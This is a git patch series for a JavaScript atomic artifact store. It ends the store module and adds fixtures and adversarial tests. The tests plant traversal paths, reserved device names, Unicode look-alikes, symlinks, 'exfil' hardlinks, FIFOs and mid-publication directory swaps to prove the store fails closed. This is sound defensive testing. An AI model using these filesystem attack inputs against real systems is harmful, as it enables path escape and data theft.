? null + : parseMetaDocument(racedMeta.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); + const identical = racedSnapshot !== null + && canonicalSnapshotText(racedSnapshot) === canonicalSnapshotText(snapshot); + if (!identical) { + // Different reference: undo our content link so no authoritative file + // is left without its matching sidecar. The unlink happens only when + // the platform proves the inode is ours. + await rollbackOwnLink(locations.contentTarget, tempStat); + failStore(classifyExistingConflict(racedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + // Identical reference: keep our just-linked content; together with the + // observed sidecar it completes exactly the publication the winner + // already recorded. + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + await discardTemp(contentTemp); + await discardTemp(metaTemp); + await syncDirectoryOf(locations.contentTarget); + await syncDirectoryOf(locations.metaTarget); + await assertChainUnchanged(captures); + await provePublication(locations, tempStat); + return receiptFor(snapshot, { created: true, byteLength: ingested.received, + sha256: ingested.digest, tempStat }); + } finally { + await discardTemp(contentTemp); + await discardTemp(metaTemp); + } +} + +function receiptFor(snapshot, facts) { + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: facts.byteLength, + sha256: facts.sha256, + ref_digest: artifactRefDigestV1(snapshot, 'artifact_ref').digest, + created: facts.created, + }); +} + +// Re-prove a fresh publication: both public names must still resolve, without +// following links, to exactly the inodes we wrote. +async function provePublication(locations, contentTempStat) { + const contentHandle = await openStoredFile(locations.contentTarget); + if (contentHandle === null) { + failStore('artifact_torn_publication', 'content', 'The published content could not be re-opened.'); + } + try { + const stat = await contentHandle.stat(); + assertRegularUnsharedFile(stat, 'content'); + if (!sameIdentity(stat, contentTempStat)) { + failStore('artifact_parent_swapped', 'content', + 'The published artifact no longer resolves to the published inode.'); + } + } finally { + await contentHandle.close().catch(() => {}); + } + const metaHandle = await openStoredFile(locations.metaTarget); + if (metaHandle === null) { + failStore('artifact_torn_publication', 'meta', 'The published sidecar could not be re-opened.'); + } else { + await metaHandle.close().catch(() => {}); + } +} + +// ---- Public API ----------------------------------------------------------------- + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +// One serialized, structurally audited operation. The root is reopened +// without following links, proven identical to the token, and bracketed +// around the whole body, so every operation observes a structurally sound +// store or fails closed before acting. +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await reopenRoot(token); + try { + await structuralAudit(root.path); + return await fn(root); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failStore('invalid_type', 'store', 'The artifact store handle was not produced by this module.'); + } + return store; +} + +export async function openArtifactStoreV1(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The artifact store options'); + assertDirectJsonClosure(input, 'options'); + const keys = sortedCapturedKeys(input); + if (keys.length !== 1 || keys[0] !== 'root') { + failStore('unknown_key', 'options', 'Artifact store options accept exactly one key: root.'); + } + const resolved = assertSafeRootPath(input.root); + const opened = await openRootHandle(resolved); + try { + await structuralAudit(opened.path); + const token = capturedFreeze({ path: opened.path, dev: opened.dev, ino: opened.ino }); + return capturedFreeze({ + schema: ARTIFACT_STORE_SCHEMA_ID, + root: token.path, + namespaces: ARTIFACT_STORE_NAMESPACES, + internalOperate: (fn) => operate(token, fn), + async publish(ref, source) { + return publishArtifactV1(this, ref, source); + }, + async verifyArtifact(ref) { + return verifyStoredArtifactV1(this, ref); + }, + async verifyArtifacts(refs) { + return verifyStoredArtifactsV1(this, refs); + }, + async audit() { + return auditArtifactStoreV1(this); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +export async function publishArtifactV1(store, refInput, source) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + classifySource(source); + return handle.internalOperate((root) => publishPrepared(root, snapshot, source)); +} + +export async function verifyStoredArtifactV1(store, refInput) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + return handle.internalOperate(async (root) => { + await verifyLocation(root.path, snapshot); + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: snapshot.byte_length, + sha256: snapshot.sha256, + verified: true, + }); + }); +} + +export async function verifyStoredArtifactsV1(store, refInputs) { + const handle = assertStoreHandle(store); + const ordered = orderArtifactRefsV1(refInputs, 'artifact_refs'); + const verdicts = []; + for (let index = 0; index < ordered.length; index += 1) { + verdicts.push(await verifyStoredArtifactV1(handle, ordered[index])); + } + return freezeData(verdicts); +} + +export async function auditArtifactStoreV1(store) { + const handle = assertStoreHandle(store); + return handle.internalOperate(async (root) => { + const structural = await structuralAudit(root.path); + const detailed = []; + let auditedBytes = 0; + for (let index = 0; index < structural.entries.length; index += 1) { + const entry = structural.entries[index]; + const locations = namespaceLocations(root.path, entry.artifact_class, entry.relative_path); + const measured = await measurePublishedContent(locations.contentTarget, { + artifact_class: entry.artifact_class, + byte_length: entry.byte_length, + sha256: entry.sha256, + }); + auditedBytes += measured.received; + if (auditedBytes > MAX_ARTIFACT_STORE_AUDIT_BYTES) { + failStore('artifact_inventory_exceeded', 'audit', + `A single audit must not stream more than ${MAX_ARTIFACT_STORE_AUDIT_BYTES} bytes.`); + } + detailed.push(freezeData({ + artifact_class: entry.artifact_class, + relative_path: entry.relative_path, + byte_length: entry.byte_length, + sha256: entry.sha256, + })); + } + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifacts: detailed.length, + namespaces: freezeData({ + raw: freezeData({ ...structural.perNamespace.raw }), + sanitized: freezeData({ ...structural.perNamespace.sanitized }), + }), + entries: freezeData(detailed), + inventory_digest: inventoryDigestOf(structural.entries), + }); + }); +} + +capturedFreeze(openArtifactStoreV1); +capturedFreeze(publishArtifactV1); +capturedFreeze(verifyStoredArtifactV1); +capturedFreeze(verifyStoredArtifactsV1); +capturedFreeze(auditArtifactStoreV1); From 88c3bb703cc0c2a7716593f38e2724bcb4330fb4 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:36 +0000 Subject: [PATCH 11/81] test(v3): pin the atomic artifact store against hostile callers Twenty-eight focused tests cover the publication contract end to end: frozen detached content-free receipts, buffer/stream equivalence, idempotent replay versus content and metadata conflicts, disjoint raw/sanitized namespaces, untrusted declared claims, class-cap enforcement before over-allocation, bounded ordered batch verification, deterministic concurrent identical and conflicting submissions, and restart-stable inventory fingerprints. The adversarial battery inherits P07 ref hostility (proxies with zero traps, accessors that never run, alias cycles, traversal, device names, separator look-alikes, NFC violations) and adds store-specific attacks: symlinked parents, targets, and sidecars that are never followed; exfil hardlinks; writer-less FIFOs opened without blocking; wholesale root swaps and mid-publication parent swaps interleaved through a hostile chunk source; crash debris including leftover temporaries, orphaned content, and orphaned sidecars; truncated, oversized, same-size-swapped, and malformed stored state; directory floods and depth overruns against bounded enumeration; and a content-freeness sweep proving no denial ever echoes the root, artifact bytes, or an errno. --- .../fixtures/r1-artifact-store-fixtures.mjs | 140 ++++ .../r1-artifact-store-adversarial.test.mjs | 673 ++++++++++++++++++ .../test/r1-artifact-store.test.mjs | 400 +++++++++++ 3 files changed, 1213 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-store.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs new file mode 100644 index 0000000..8a73553 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs @@ -0,0 +1,140 @@ +// Shared fixtures for the W4-P08 atomic artifact store tests. +// +// Pure data builders plus tiny local helpers over the caller's own temporary +// directories. The only product imports are the two accepted P07 modules, so +// fixtures cannot mask a store defect with store-owned code. + +import { mkdtempSync, rmSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-store-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +// A private fresh store root under the system temporary directory. +export function makeStoreRoot(prefix = 'cce-p08-store-') { + return mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function refFor(bytes, overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: bytes.length, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export const staticRef = (overrides = {}) => refFor(Buffer.from('fixture bytes'), overrides); + +// ---- Byte sources ---------------------------------------------------------- + +export function chunksOf(bytes, count = 3) { + const size = Math.max(1, Math.ceil(bytes.length / count)); + async function* generate() { + for (let offset = 0; offset < bytes.length; offset += size) { + yield bytes.subarray(offset, Math.min(offset + size, bytes.length)); + } + } + return generate(); +} + +export function emptyStream() { + async function* generate() {} + return generate(); +} + +export function stringChunkSource(text = 'text not bytes') { + async function* generate() { yield text; } + return generate(); +} + +// Yields only `keep` of the declared `total` bytes: a short stream. +export function shortSource(total, keep = 1) { + async function* generate() { + yield Buffer.alloc(Math.min(keep, total), 0x61); + } + return generate(); +} + +// An endless stream of one-byte chunks: only the class cap may stop it. +export function endlessSource(fill = 0x62) { + async function* generate() { + while (true) { + yield Buffer.alloc(1, fill); + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +// A stream that grows past any declared length but stays inside raw caps. +export function growingSource(target) { + async function* generate() { + let sent = 0; + while (sent < target + 4096) { + yield Buffer.alloc(64, 0x63); + sent += 64; + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +export function throwingSource(failure) { + async function* generate() { + yield Buffer.from('first chunk'); + throw failure; + } + return generate(); +} + +// Mid-publication sabotage: after the first chunk, run an arbitrary side +// effect against the filesystem, then keep streaming. This deterministically +// interleaves hostile tree mutation into the middle of a publication. +export function sabotagingSource(sideEffect) { + async function* generate() { + yield Buffer.from('first chunk'); + await sideEffect(); + yield Buffer.from('second chunk'); + } + return generate(); +} + +// Accessor-dressed async iterable: Symbol.asyncIterator is a getter whose +// trap records that it ran. Accepting this would execute caller code. +export function accessorIterable(trapLog) { + return { + get [Symbol.asyncIterator]() { + trapLog.iteratorGetter += 1; + throw new Error('accessor iterator getter must never run'); + }, + }; +} + +// A subclassed view: prototype is neither Uint8Array.prototype nor +// Buffer.prototype, so its length surface is not intrinsic. +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs new file mode 100644 index 0000000..dfc2be1 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs @@ -0,0 +1,673 @@ +import assert from 'node:assert/strict'; +import { constants as fsConstants } from 'node:fs'; +import { chmodSync, mkdtempSync, mkdirSync, readFileSync, renameSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { chmod, link, rm, symlink, unlink } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_META_SUFFIX, + auditArtifactStoreV1, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + MAX_ARTIFACT_STORE_META_BYTES, + openArtifactStoreV1, + verifyStoredArtifactsV1, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + accessorIterable, + chunksOf, + digestOf, + emptyStream, + makeStoreRoot, + refFor, + removeRoot, + sabotagingSource, + shortSource, + stringChunkSource, + SubclassedBytes, + throwingSource, +} from './fixtures/r1-artifact-store-fixtures.mjs'; +import { countingProxy } from './fixtures/r1-artifact-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial payload with distinctive bytes\n'); +const BASE_REF = refFor(PAYLOAD); + +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + assert.equal(message.includes(bytes.toString('utf8').trim()), false, 'error echoed artifact bytes'); + } +} + +async function freshStore() { + const root = makeStoreRoot(); + const store = await openArtifactStoreV1({ root }); + return { root, store }; +} + +async function closeAndReopen(root) { + const reopened = await openArtifactStoreV1({ root }); + return reopened; +} + +test('proxy, accessor, and alias/cycle references fail closed before any filesystem effect', async () => { + const { root, store } = await freshStore(); + try { + // Live proxy with a trap counter: zero traps may fire. + const { proxy, counts } = countingProxy(BASE_REF); + const error = await expectCode(() => store.publish(proxy, PAYLOAD), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + // Accessor-dressed reference: the getter must never run. + const accessor = { ...BASE_REF }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => store.publish(accessor, PAYLOAD), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + // Aliased cyclic reference. + const cyclic = { ...BASE_REF }; + cyclic.self = cyclic; + await expectCode(() => store.publish(cyclic, PAYLOAD), 'aliased_reference_denied'); + + // Unknown key keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, extra: 'x' }, PAYLOAD), + 'unknown_key', + ); + // Malformed digest keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, sha256: digestOf(PAYLOAD).toUpperCase() }, PAYLOAD), + 'invalid_format', + ); + // The store is still pristine: no artifacts, no temporaries. + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('traversal, devices, separators, and Unicode hostility inherit exact P07 behavior', async () => { + const { root, store } = await freshStore(); + try { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: 'a/../../b.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/nul.dat' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/aux' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/trail.' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/ lead.patch' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + [{ relative_path: 'runs/run-x/\u212an.patch' }, 'invalid_encoding'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => store.publish(refFor(PAYLOAD, override), PAYLOAD), + expected, + 'artifact_ref.relative_path', + ); + } + // Well-formed astral characters stay legal end-to-end. + const astral = Buffer.from('emoji artifact'); + const astralRef = refFor(astral, { + relative_path: `runs/${'r'.repeat(4)}-🎨/lane-日本語/artifact-𝔘.patch`, + }); + await store.publish(astralRef, astral); + assert.equal((await store.audit()).artifacts, 1); + assert.equal(await store.verifyArtifact(astralRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('hostile sources are denied before any byte reaches disk', async () => { + const { root, store } = await freshStore(); + try { + // Proxy-wrapped buffer. + const { proxy } = countingProxy(PAYLOAD); + await expectCode(() => store.publish(BASE_REF, proxy), 'proxy_denied'); + // Subclassed view: not an intrinsic prototype. + await expectCode( + () => store.publish(BASE_REF, new SubclassedBytes(PAYLOAD.length)), + 'artifact_stream_invalid_source', + ); + // SharedArrayBuffer-backed view. + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode(() => store.publish(BASE_REF, shared), 'artifact_stream_invalid_source'); + // Plain strings and numbers are not sources. + await expectCode(() => store.publish(BASE_REF, 'text'), 'artifact_stream_invalid_source'); + await expectCode(() => store.publish(BASE_REF, 42), 'artifact_stream_invalid_source'); + // Accessor-dressed iterable: its getter must never run. + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => store.publish(BASE_REF, accessorIterable(trapLog)), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + // A class instance with a prototype chain (Node Readable) is refused. + class FakeStream { + async *[Symbol.asyncIterator]() { yield PAYLOAD; } + } + await expectCode(() => store.publish(BASE_REF, new FakeStream()), 'artifact_stream_invalid_source'); + // String chunks from a generator are refused mid-stream. + await expectCode( + () => store.publish(BASE_REF, stringChunkSource()), + 'artifact_stream_invalid_chunk', + ); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('short, long, and throwing streams fail typed without echoing the underlying cause', async () => { + const { root, store } = await freshStore(); + try { + const declared = refFor(Buffer.alloc(16, 0x61), { relative_path: 'runs/r/short.bin' }); + await expectCode(() => store.publish(declared, shortSource(16, 4)), 'artifact_length_mismatch'); + await expectCode(() => store.publish(declared, emptyStream()), 'artifact_length_mismatch'); + const growing = refFor(Buffer.alloc(64, 0x62), { relative_path: 'runs/r/long.bin' }); + await expectCode( + () => store.publish(growing, (async function* () { + yield Buffer.alloc(64, 0x62); + yield Buffer.alloc(2, 0x62); + })()), + 'artifact_length_mismatch', + ); + const underlying = new Error('secret internals about the host filesystem'); + const streamError = await expectCode( + () => store.publish(declared, throwingSource(underlying)), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('symlinked parents, targets, and sidecars are never followed', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Seed one namespace so intermediate directories exist. + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-outside-'), { mode: 0o700 }); + try { + // Symlink at a parent component of a future publication. + const parentLink = path.join(root, 'sanitized', 'content', 'runs', 'link'); + await symlink(outside, parentLink, 'dir'); + // The structural sweep condemns the link before any publication walk + // could resolve through it; nothing is ever followed. + await expectCode( + () => store.publish(refFor(Buffer.from('x'), { relative_path: 'runs/link/x.bin' }), + Buffer.from('x')), + 'artifact_entry_unsafe', + ); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + await rm(parentLink); + + // Symlink planted exactly at the destination content name: first strip + // the authoritative artifact, then occupy its name with a link. + const target = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + rmSync(target); + const bait = Buffer.from('bait bytes never adopted'); + writeFileSync(path.join(outside, 'bait.bin'), bait); + await symlink(path.join(outside, 'bait.bin'), target); + await expectCode( + () => store.verifyArtifact(BASE_REF), + 'artifact_entry_unsafe', + ); + await expectCode( + () => store.publish(BASE_REF, PAYLOAD), + 'artifact_entry_unsafe', + ); + // The bait file must be untouched by every attempt above. + assert.equal(readFileSync(path.join(outside, 'bait.bin')).equals(bait), true); + await unlink(target); + + // Symlinked sidecar. + const metaTarget = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(path.join(outside, 'fake.json'), '{"schema":"x"}'); + rmSync(metaTarget); + await symlink(path.join(outside, 'fake.json'), metaTarget); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await unlink(metaTarget); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('hardlinked stored artifacts are rejected wherever they can be proven', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-hard-'), { mode: 0o700 }); + try { + const contentPath = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + // Exfiltrate one more directory entry onto the same inode. + await link(contentPath, path.join(outside, 'alias.bin')); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + // Restoring single-link discipline restores verification. + await unlink(path.join(outside, 'alias.bin')); + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('FIFOs and other non-regular entries are condemned without blocking or following', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentDir = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha'); + rmSync(path.join(contentDir, 'diff.patch')); + const fifoPath = path.join(contentDir, 'diff.patch'); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [fifoPath]); + // Verification must not block on a writer-less FIFO (O_NONBLOCK opens). + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + // Publishing onto the FIFO location fails closed as well. + await expectCode(() => store.publish(BASE_REF, PAYLOAD), 'artifact_entry_unsafe'); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test('root swaps between operations are proven and rejected', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Replace the root directory wholesale (new device/inode at same path). + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + const renamed = renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + await expectCode(() => store.publish(refFor(Buffer.from('y'), { relative_path: 'y.bin' }), + Buffer.from('y')), 'artifact_root_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_root_unsafe'); + } finally { + if (renamed) rmSync(moved, { recursive: true, force: true }); + } + } finally { + rmSync(`${root}-moved`, { recursive: true, force: true }); + rmSync(root, { recursive: true, force: true }); + } +}); + +test('parent swaps interleaved into a live publication are proven and rejected', async (t) => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const deepBytes = Buffer.from('parent swap victim payload'); + const deepRef = refFor(deepBytes, { + relative_path: 'runs/run-store-01/lane-alpha/deep/deeper/swap.patch', + }); + // After the first chunk arrives, replace a captured ancestor directory + // with a brand-new inode at the same path. Publication must fail typed + // and leave no authoritative artifact behind for that reference. + let outcome = null; + try { + await store.publish(deepRef, sabotagingSource(async () => { + const ancestor = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01'); + const staged = `${ancestor}-staged`; + renameSync(ancestor, staged); + mkdirSync(ancestor, { recursive: true, mode: 0o700 }); + rmSync(staged, { recursive: true, force: true }); + })); + } catch (error) { + outcome = error; + } + assert.ok(outcome instanceof RunContractV1Error, + `expected a typed failure, got ${String(outcome)}`); + assertContentFree(outcome, root, deepBytes); + try { + await store.verifyArtifact(deepRef); + assert.fail('expected a typed verification failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok( + error.code === 'artifact_not_found' || error.code === 'artifact_torn_publication', + `unexpected code ${error.code}`, + ); + } + // The hostile deletion orphaned previously authoritative sidecars too. + // Nothing heals silently: every later operation keeps failing closed + // until an operator acts outside this module. + await expectCode(() => store.verifyArtifact(BASE_REF)); + } finally { + removeRoot(root); + } +}); + +test('crash debris: torn temporaries, orphaned content, and orphaned sidecars stay rejected after restart', async () => { + const root = makeStoreRoot(); + try { + const seed = await openArtifactStoreV1({ root }); + await seed.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Leftover temporary in the content tree. + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn temp'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + await expectCode(() => auditArtifactStoreV1(seed), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + // Content without sidecar. + const orphanContent = path.join(path.dirname(contentLeaf), 'orphan.bin'); + writeFileSync(orphanContent, 'no sidecar'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanContent); + + // Sidecar without content. + const orphanMeta = path.join(path.dirname(metaLeaf), 'ghost.bin.json'); + writeFileSync(orphanMeta, '{}'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanMeta); + + // Foreign names. + writeFileSync(path.join(path.dirname(contentLeaf), 'bad\x01name'), 'foreign'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), 'bad\x01name')); + writeFileSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`)); + // A legal name without a sidecar is a torn publication. + writeFileSync(path.join(path.dirname(contentLeaf), 'legalname.bin'), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(path.join(path.dirname(contentLeaf), 'legalname.bin')); + + // After removing every injected fault the store verifies again. + assert.equal(await auditArtifactStoreV1(seed).then((r) => r.artifacts), 1); + } finally { + removeRoot(root); + } +}); + +test('truncated, oversized, swapped, and malformed stored state fails verification and restart', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Truncation. + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 8)); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Same-size content swap under one path. + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + writeFileSync(contentLeaf, PAYLOAD); + + // Oversized content beyond the class cap. + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Malformed sidecars: garbage, duplicate keys, extra keys, wrong location. + for (const broken of [ + 'not json at all', + '{"schema":"codex-co-engineer.artifact-store.v1","schema":"dup"}', + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + extra: true, + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-ref.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length + 1, + sha256: digestOf(PAYLOAD), + }), + ]) { + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${broken}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), undefined); + writeFileSync(metaLeaf, original); + } + + // 